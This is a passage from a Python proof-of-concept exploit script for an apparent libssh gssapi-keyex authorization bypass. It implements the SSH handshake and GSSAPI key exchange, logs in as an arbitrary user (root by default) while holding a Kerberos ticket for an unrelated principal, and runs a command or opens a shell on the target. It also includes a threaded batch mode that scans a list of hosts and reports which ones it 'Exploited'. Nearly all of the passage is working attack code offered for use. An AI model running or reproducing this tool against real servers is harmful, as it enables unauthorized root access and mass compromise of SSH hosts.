                        + bytes([SSH_MSG_USERAUTH_REQUEST])
                        + _string(username)
                        + _string("ssh-connection")
                        + _string("gssapi-keyex"))
            mic = gss.get_mic(mic_data)
            self.send_packet(bytes([SSH_MSG_USERAUTH_REQUEST]) + _string(username)
                             + _string("ssh-connection")
                             + _string("gssapi-keyex") + _string(mic))
            while True:
                try:
                    payload = self.recv_packet()
                except SSHError as exc:
                    if "timed out" in str(exc):
                        return False, ("no reply at all - a patched server with no "
                                       "authorization callback registered answers "
                                       "neither success nor failure")
                    raise
                if payload[0] == SSH_MSG_USERAUTH_BANNER:
                    continue
                if payload[0] == SSH_MSG_USERAUTH_SUCCESS:
                    return True, "SSH_MSG_USERAUTH_SUCCESS"
                if payload[0] == SSH_MSG_USERAUTH_FAILURE:
                    reader = _Reader(payload[1:])
                    methods = reader.text()
                    partial = reader.boolean()
                    return False, ("SSH_MSG_USERAUTH_FAILURE (methods that may "
                                   "continue: %s%s)"
                                   % (methods, ", partial success" if partial else ""))
                raise SSHError("unexpected reply %d to the gssapi-keyex request"
                               % payload[0])
    
        # -- post-authentication ------------------------------------------------
    
        def open_session(self, command: str) -> str:
            """Open a session channel as the impersonated user and collect output."""
            self.send_packet(bytes([SSH_MSG_CHANNEL_OPEN]) + _string("session")
                             + struct.pack(">III", 0, 2 * 1024 * 1024, 32768))
            payload = self.recv_packet()
            if payload[0] == SSH_MSG_CHANNEL_OPEN_FAILURE:
                reader = _Reader(payload[1:])
                reader.uint32()
                code = reader.uint32()
                raise SSHError("channel open refused (code %d: %s)"
                               % (code, reader.text()))
            if payload[0] != SSH_MSG_CHANNEL_OPEN_CONFIRMATION:
                raise SSHError("unexpected reply %d to channel open" % payload[0])
            reader = _Reader(payload[1:])
            reader.uint32()               # our channel number, echoed back
            remote = reader.uint32()      # the channel number to address it by
    
            if command:
                request = (bytes([SSH_MSG_CHANNEL_REQUEST])
                           + struct.pack(">I", remote) + _string("exec")
                           + b"\x01" + _string(command))
            else:
                request = (bytes([SSH_MSG_CHANNEL_REQUEST])
                           + struct.pack(">I", remote) + _string("shell") + b"\x01")
            self.send_packet(request)
    
            collected = []
            original = self.sock.gettimeout()
            self.sock.settimeout(min(5.0, original or 5.0))
            try:
                while True:
                    payload = self.recv_packet()
                    kind = payload[0]
                    if kind == SSH_MSG_CHANNEL_DATA:
                        reader = _Reader(payload[1:])
                        reader.uint32()
                        collected.append(reader.string().decode("utf-8", "replace"))
                    elif kind == SSH_MSG_CHANNEL_EXTENDED_DATA:
                        reader = _Reader(payload[1:])
                        reader.uint32()
                        reader.uint32()
                        collected.append(reader.string().decode("utf-8", "replace"))
                    elif kind in (SSH_MSG_CHANNEL_EOF, SSH_MSG_CHANNEL_CLOSE):
                        break
                    elif kind == SSH_MSG_CHANNEL_FAILURE:
                        collected.append("(server refused the channel request)")
                        break
            except SSHError:
                pass
            finally:
                self.sock.settimeout(original)
            return "".join(collected).strip()
    
    
    # ---------------------------------------------------------------------------
    # The attack
    # ---------------------------------------------------------------------------
    
    def impersonate(host: str, port: int, username: str, gss_host: str = None,
                    command: str = "", timeout: float = 15.0) -> dict:
        """Run the full attack once. Returns a result dict; never prints."""
        result = {
            "banner": "",
            "kex": "",
            "principal": "",
            "authenticated": False,
            "detail": "",
            "offered_methods": "",
            "channel_output": "",
            "notes": [],
        }
        transport = SSHTransport(host, port, timeout=timeout)
        gss = None
        try:
            transport.connect()
            transport.exchange_banners()
            result["banner"] = transport.server_banner
            transport.negotiate()
            result["kex"] = transport.kex_name
            if not transport.kex_name.startswith("gss-"):
                raise SSHError("negotiated %s, which is not a GSSAPI key exchange"
                               % transport.kex_name)
            gss = transport.gss_key_exchange(gss_host or host)
            result["principal"] = gss.local_principal()
            result["notes"] = transport.notes
    
            transport.request_service()
            accepted, methods = transport.userauth_none(username)
            result["offered_methods"] = methods
            if accepted:
                result["detail"] = ("server accepted 'none' authentication, so it "
                                    "grants access to anybody regardless of this CVE")
                return result
    
            ok, detail = transport.userauth_gssapi_keyex(gss, username)
            result["authenticated"] = ok
            result["detail"] = detail
            if ok:
                try:
                    result["channel_output"] = transport.open_session(command)
                except SSHError as exc:
                    result["channel_output"] = "(no session channel: %s)" % exc
            return result
        finally:
            if gss is not None:
                gss.close()
            transport.close()
    
    
    def _try_exploit(host: str, port: int, username: str, gss_host: str = None,
                     timeout: float = 10.0):
        """Silent probe for --list scan mode. Never prints, never exits."""
        try:
            result = impersonate(host, port, username, gss_host=gss_host,
                                 command="", timeout=timeout)
        except (SSHError, OSError) as exc:
            return False, "%s: %s" % (exc.__class__.__name__, exc)
        if result["authenticated"]:
            return True, ("logged in as '%s' holding only %s (%s)"
                          % (username, result["principal"] or "an unrelated ticket",
                             result["banner"]))
        return False, "%s (%s)" % (result["detail"] or "denied", result["banner"])
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip.
    
        The fourth field exists for contract compatibility with the rest of the
        toolkit; the SSH transport has no TLS variant and no request path, so both
        are carried and ignored here.
        """
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("ssh://", "http://", "https://")):
            parsed = urlparse(line)
            tls = parsed.scheme == "https"
            path = parsed.path if (parsed.path and parsed.path not in ("", "/")) \
                else default_path
            return (parsed.hostname, parsed.port or default_port, tls, path)
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, False, default_path
            except ValueError:
                pass
        return line, default_port, False, default_path
    
    
    def scan(targets_file: str, default_port: int, username: str,
             workers: int = 10) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as handle:
            targets = [_parse_target(line, default_port) for line in handle]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(target):
            host, port, _use_tls, _path = target
            label = "%s:%d" % (host, port)
            ok, evidence = _try_exploit(host, port, username)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
            futures = {pool.submit(probe, t): t for t in targets}
            for future in concurrent.futures.as_completed(futures):
                label, ok, evidence = future.result()
                print("  %s %s - %s: %s"
                      % ("[+]" if ok else "[-]", label,
                         "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host: str, port: int, username: str, gss_host: str,
                command: str, timeout: float) -> None:
        header(host, port)
    
        step(1, "Checking for usable Kerberos credentials")
        try:
            probe_ctx = GSSContext("host@" + (gss_host or host))
            principal = probe_ctx.local_principal()
            probe_ctx.close()
        except GSSError as exc:
            section("GSSAPI", str(exc))
            done(False, "no Kerberos credentials on this host - run kinit first "
                        "(the attack needs a ticket for any principal, not the "
                        "victim's)")
        print("         holding a ticket for: %s" % principal)
        if principal.split("@")[0].split("/")[0] == username:
            print("         NOTE: that principal legitimately maps to '%s'; pick a "
                  "different --username to demonstrate impersonation" % username)
    
        step(2, "Negotiating GSSAPI key exchange and authenticating honestly")
        try:
            result = impersonate(host, port, username, gss_host=gss_host,
                                 command=command, timeout=timeout)
        except GSSError as exc:
            section("GSSAPI", str(exc))
            done(False, "GSSAPI key exchange failed: %s" % exc)
        except (SSHError, OSError) as exc:
            section("TRANSPORT", str(exc))
            done(False, "could not complete the SSH transport: %s" % exc)
    
        print("         server banner : %s" % result["banner"])
        print("         negotiated kex: %s" % result["kex"])
        for note in result["notes"]:
            print("         %s" % note)
    
        step(3, "Requesting login as '%s' with method gssapi-keyex" % username)
        if result["offered_methods"]:
            print("         server offers : %s" % result["offered_methods"])
    
        if not result["authenticated"]:
            section("SERVER RESPONSE", result["detail"])
            done(False, "server refused to authenticate '%s' for principal %s - it "
                        "made an authorization decision instead of granting the "
                        "request outright, which is the patched behaviour"
                        % (username, result["principal"]))
    
        section("SERVER RESPONSE",
                "%s\nauthenticated user : %s\nticket held        : %s"
                % (result["detail"], username, result["principal"]))
    
        if result["channel_output"]:
            section("SESSION CHANNEL (as '%s')" % username, result["channel_output"])
    
        short_name = result["principal"].split("@")[0].split("/")[0]
        if short_name == username:
            step(4, "Login succeeded, but this is the control case")
            evidence = ("logged in as '%s', which principal %s legitimately maps "
                        "to - a control run, not evidence of the flaw"
                        % (username, result["principal"]))
            if "NOT-CONSULTED" in result["channel_output"]:
                evidence += ("; the server does report authz-callback=NOT-CONSULTED, "
                             "so no authorization check ran even here")
            done(True, evidence)
    
        step(4, "Impersonation confirmed")
        evidence = ("server granted '%s' to a client holding only a ticket for %s"
                    % (username, result["principal"]))
        if "NOT-CONSULTED" in result["channel_output"]:
            evidence += ("; server reports authz-callback=NOT-CONSULTED - the "
                         "authorization policy was never consulted")
        done(True, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description="%s - libssh gssapi-keyex authorization bypass" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host",
                                help="Target: hostname, IP or ssh://host:port")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help="Target port (default: %d)" % DEFAULT_PORT)
        parser.add_argument("--username", default="root",
                            help="Local user to impersonate (default: root)")
        parser.add_argument("--gss-host", default=None,
                            help="Host name for the Kerberos service principal "
                                 "host@<name> (default: the value of --host)")
        parser.add_argument("--command", default="id",
                            help="Command to run on the opened session channel as "
                                 "proof of access (default: id)")
        parser.add_argument("--timeout", type=float, default=15.0,
                            help="Network timeout in seconds (default: 15)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        args = parser.parse_args()
    
        if platform.system() == "Windows":
            print("[!] This exploit needs a POSIX GSS-API library.", file=sys.stderr)
    
        if args.list:
            scan(args.list, default_port=args.port, username=args.username,
                 workers=args.workers)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, _tls, _path = parsed if parsed else (args.host, args.port,
                                                             False, "/")
            exploit(host, port, args.username, args.gss_host, args.command,
                    args.timeout)